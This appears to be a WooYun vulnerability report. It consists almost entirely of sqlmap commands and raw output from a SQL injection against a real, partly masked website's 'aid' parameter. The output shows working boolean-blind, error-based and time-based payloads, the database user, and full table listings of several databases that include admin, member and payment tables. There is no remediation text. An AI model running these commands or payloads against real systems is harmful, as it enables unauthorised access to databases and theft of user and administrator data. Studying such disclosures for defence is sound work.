WooYun.org

sqlmap.py -u "http://**.**.**.**/index.php?controller=Articles&action=View&aid=85" -p aid --current-user --current-db

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: aid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: controller=Articles&action=View&aid=85 AND 1809=1809
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: controller=Articles&action=View&aid=85 AND (SELECT 6616 FROM(SELECT COUNT(*),CONCAT(0x7176627671,(SELECT (ELT(6616=6616,1))),0x716a767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: controller=Articles&action=View&aid=85 AND SLEEP(5)
---
web application technology: Apache 2.2.29, PHP 5.3.29
back-end DBMS: MySQL 5.0
current user: 'geichina@localhost'
current database: 'geichina_general'

sqlmap.py -u "http://**.**.**.**/index.php?controller=Articles&action=View&aid=85" -p aid --tables

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: aid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: controller=Articles&action=View&aid=85 AND 1809=1809
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: controller=Articles&action=View&aid=85 AND (SELECT 6616 FROM(SELECT COUNT(*),CONCAT(0x7176627671,(SELECT (ELT(6616=6616,1))),0x716a767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: controller=Articles&action=View&aid=85 AND SLEEP(5)
---
web application technology: Apache 2.2.29, PHP 5.3.29
back-end DBMS: MySQL 5.0
Database: geichina_sphyder
[26 tables]
+---------------------------------------+
| categories |
| domains |
| keywords |
| link_keyword |
| link_keyword0 |
| link_keyword1 |
| link_keyword2 |
| link_keyword3 |
| link_keyword4 |
| link_keyword5 |
| link_keyword6 |
| link_keyword7 |
| link_keyword8 |
| link_keyword9 |
| link_keyworda |
| link_keywordb |
| link_keywordc |
| link_keywordd |
| link_keyworde |
| link_keywordf |
| links |
| pending |
| query_log |
| site_category |
| sites |
| temp |
+---------------------------------------+
Database: geichina_eco
[76 tables]
+---------------------------------------+
| gei_addonarticle |
| gei_addonimages |
| gei_addoninfos |
| gei_addonshop |
| gei_addonsoft |
| gei_addonspec |
| gei_admin |
| gei_admintype |
| gei_advancedsearch |
| gei_arcatt |
| gei_arccache |
| gei_archives |
| gei_arcrank |
| gei_arctiny |
| gei_arctype |
| gei_area |
| gei_channeltype |
| gei_co_htmls |
| gei_co_mediaurls |
| gei_co_note |
| gei_co_onepage |
| gei_co_urls |
| gei_diyforms |
| gei_downloads |
| gei_erradd |
| gei_feedback |
| gei_flink |
| gei_flinktype |
| gei_freelist |
| gei_homepageset |
| gei_keywords |
| gei_log |
| gei_mail |
| gei_member |
| gei_member_archives |
| gei_member_company |
| gei_member_flink |
| gei_member_friends |
| gei_member_guestbook |
| gei_member_operation |
| gei_member_person |
| gei_member_pms |
| gei_member_space |
| gei_member_stow |
| gei_member_time |
| gei_member_tj |
| gei_member_type |
| gei_member_vhistory |
| gei_moneycard_record |
| gei_moneycard_type |
| gei_mtypes |
| gei_myad |
| gei_mytag |
| gei_plus |
| gei_pwd_tmp |
| gei_ratings |
| gei_scores |
| gei_search_cache |
| gei_search_keywords |
| gei_sgpage |
| gei_shops_delivery |
| gei_shops_orders |
| gei_shops_paytype |
| gei_shops_products |
| gei_shops_userinfo |
| gei_softconfig |
| gei_stepselect |
| gei_sys_enum |
| gei_sys_module |
| gei_sys_set |
| gei_sysconfig |
| gei_tagindex |
| gei_taglist |
| gei_uploads |
| gei_verifies |
| gei_vote |
+---------------------------------------+
Database: geichina_ep
[188 tables]
+---------------------------------------+
| cms_admin |
| cms_ads |
| cms_ads_place |
| cms_announce |
| cms_article_1 |
| cms_article_10 |
| cms_article_11 |
| cms_article_12 |
| cms_article_14 |
| cms_article_16 |
| cms_article_7 |
| cms_article_data_1 |
| cms_article_data_10 |
| cms_article_data_11 |
| cms_article_data_12 |
| cms_article_data_14 |
| cms_article_data_16 |
| cms_article_data_7 |
| cms_ask |
| cms_ask_department |
| cms_ask_reply |
| cms_attachment |
| cms_author |
| cms_banip |
| cms_bill |
| cms_category |
| cms_channel |
| cms_city |
| cms_comment |
| cms_copyfrom |
| cms_down_3 |
| cms_down_server |
| cms_field |
| cms_formguide |
| cms_formguide_data |
| cms_guestbook |
| cms_info_4 |
| cms_info_area |
| cms_keylink |
| cms_keywords |
| cms_link |
| cms_log |
| cms_mail |
| cms_mail_email |
| cms_member |
| cms_member_group |
| cms_member_info |
| cms_menu |
| cms_message_friend |
| cms_message_inbox |
| cms_message_outbox |
| cms_message_read |
| cms_module |
| cms_movie_5 |
| cms_movie_player |
| cms_movie_server |
| cms_mypage |
| cms_mytag |
| cms_page |
| cms_pay |
| cms_pay_card |
| cms_pay_exchange |
| cms_pay_online |
| cms_pay_price |
| cms_pay_setting |
| cms_pay_type |
| cms_picture_2 |
| cms_position |
| cms_product |
| cms_product_att |
| cms_product_brand |
| cms_product_cart |
| cms_product_images |
| cms_product_order |
| cms_product_pdtatt |
| cms_product_property |
| cms_province |
| cms_reword |
| cms_special |
| cms_spider_job |
| cms_spider_out |
| cms_spider_sites |
| cms_spider_urls |
| cms_stat_area |
| cms_stat_history |
| cms_stat_visitor |
| cms_stat_vpages |
| cms_type |
| cms_union |
| cms_union_pay |
| cms_union_visit |
| cms_vote_data |
| cms_vote_option |
| cms_vote_subject |
| dz_access |
| dz_activities |
| dz_activityapplies |
| dz_adminactions |
| dz_admingroups |
| dz_adminnotes |
| dz_adminsessions |
| dz_advertisements |
| dz_announcements |
| dz_attachments |
| dz_attachpaymentlog |
| dz_attachtypes |
| dz_banned |
| dz_bbcodes |
| dz_buddys |
| dz_caches |
| dz_campaigns |
| dz_creditslog |
| dz_crons |
| dz_debateposts |
| dz_debates |
| dz_failedlogins |
| dz_faqs |
| dz_favorites |
| dz_forumfields |
| dz_forumlinks |
| dz_forumrecommend |
| dz_forums |
| dz_imagetypes |
| dz_invites |
| dz_itempool |
| dz_magiclog |
| dz_magicmarket |
| dz_magics |
| dz_medals |
| dz_memberfields |
| dz_membermagics |
| dz_members |
| dz_memberspaces |
| dz_moderators |
| dz_modworks |
| dz_myposts |
| dz_mythreads |
| dz_onlinelist |
| dz_onlinetime |
| dz_orders |
| dz_paymentlog |
| dz_pluginhooks |
| dz_plugins |
| dz_pluginvars |
| dz_pms |
| dz_pmsearchindex |
| dz_polloptions |
| dz_polls |
| dz_posts |
| dz_profilefields |
| dz_projects |
| dz_promotions |
| dz_ranks |
| dz_ratelog |
| dz_regips |
| dz_relatedthreads |
| dz_rewardlog |
| dz_rsscaches |
| dz_searchindex |
| dz_sessions |
| dz_settings |
| dz_smilies |
| dz_spacecaches |
| dz_stats |
| dz_statvars |
| dz_styles |
| dz_stylevars |
| dz_subscriptions |
| dz_tags |
| dz_templates |
| dz_threads |
| dz_threadsmod |
| dz_threadtags |
| dz_threadtypes |
| dz_tradecomments |
| dz_tradelog |
| dz_tradeoptionvars |
| dz_trades |
| dz_typemodels |
| dz_typeoptions |
| dz_typeoptionvars |
| dz_typevars |
| dz_usergroups |
| dz_validating |
| dz_videos |
| dz_videotags |
| dz_words |
| tmp |
+---------------------------------------+
Database: information_schema
[40 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: geichina_general
[14 tables]
+---------------------------------------+
| gei_articles |
| gei_blocks |
| gei_chinawatchnews |
| gei_department |
| gei_images |
| gei_links |
| gei_mails |
| gei_news |
| gei_roles |
| gei_settings |
| gei_staff |
| gei_staff2department |
| gei_user2role |
| gei_users |
+---------------------------------------+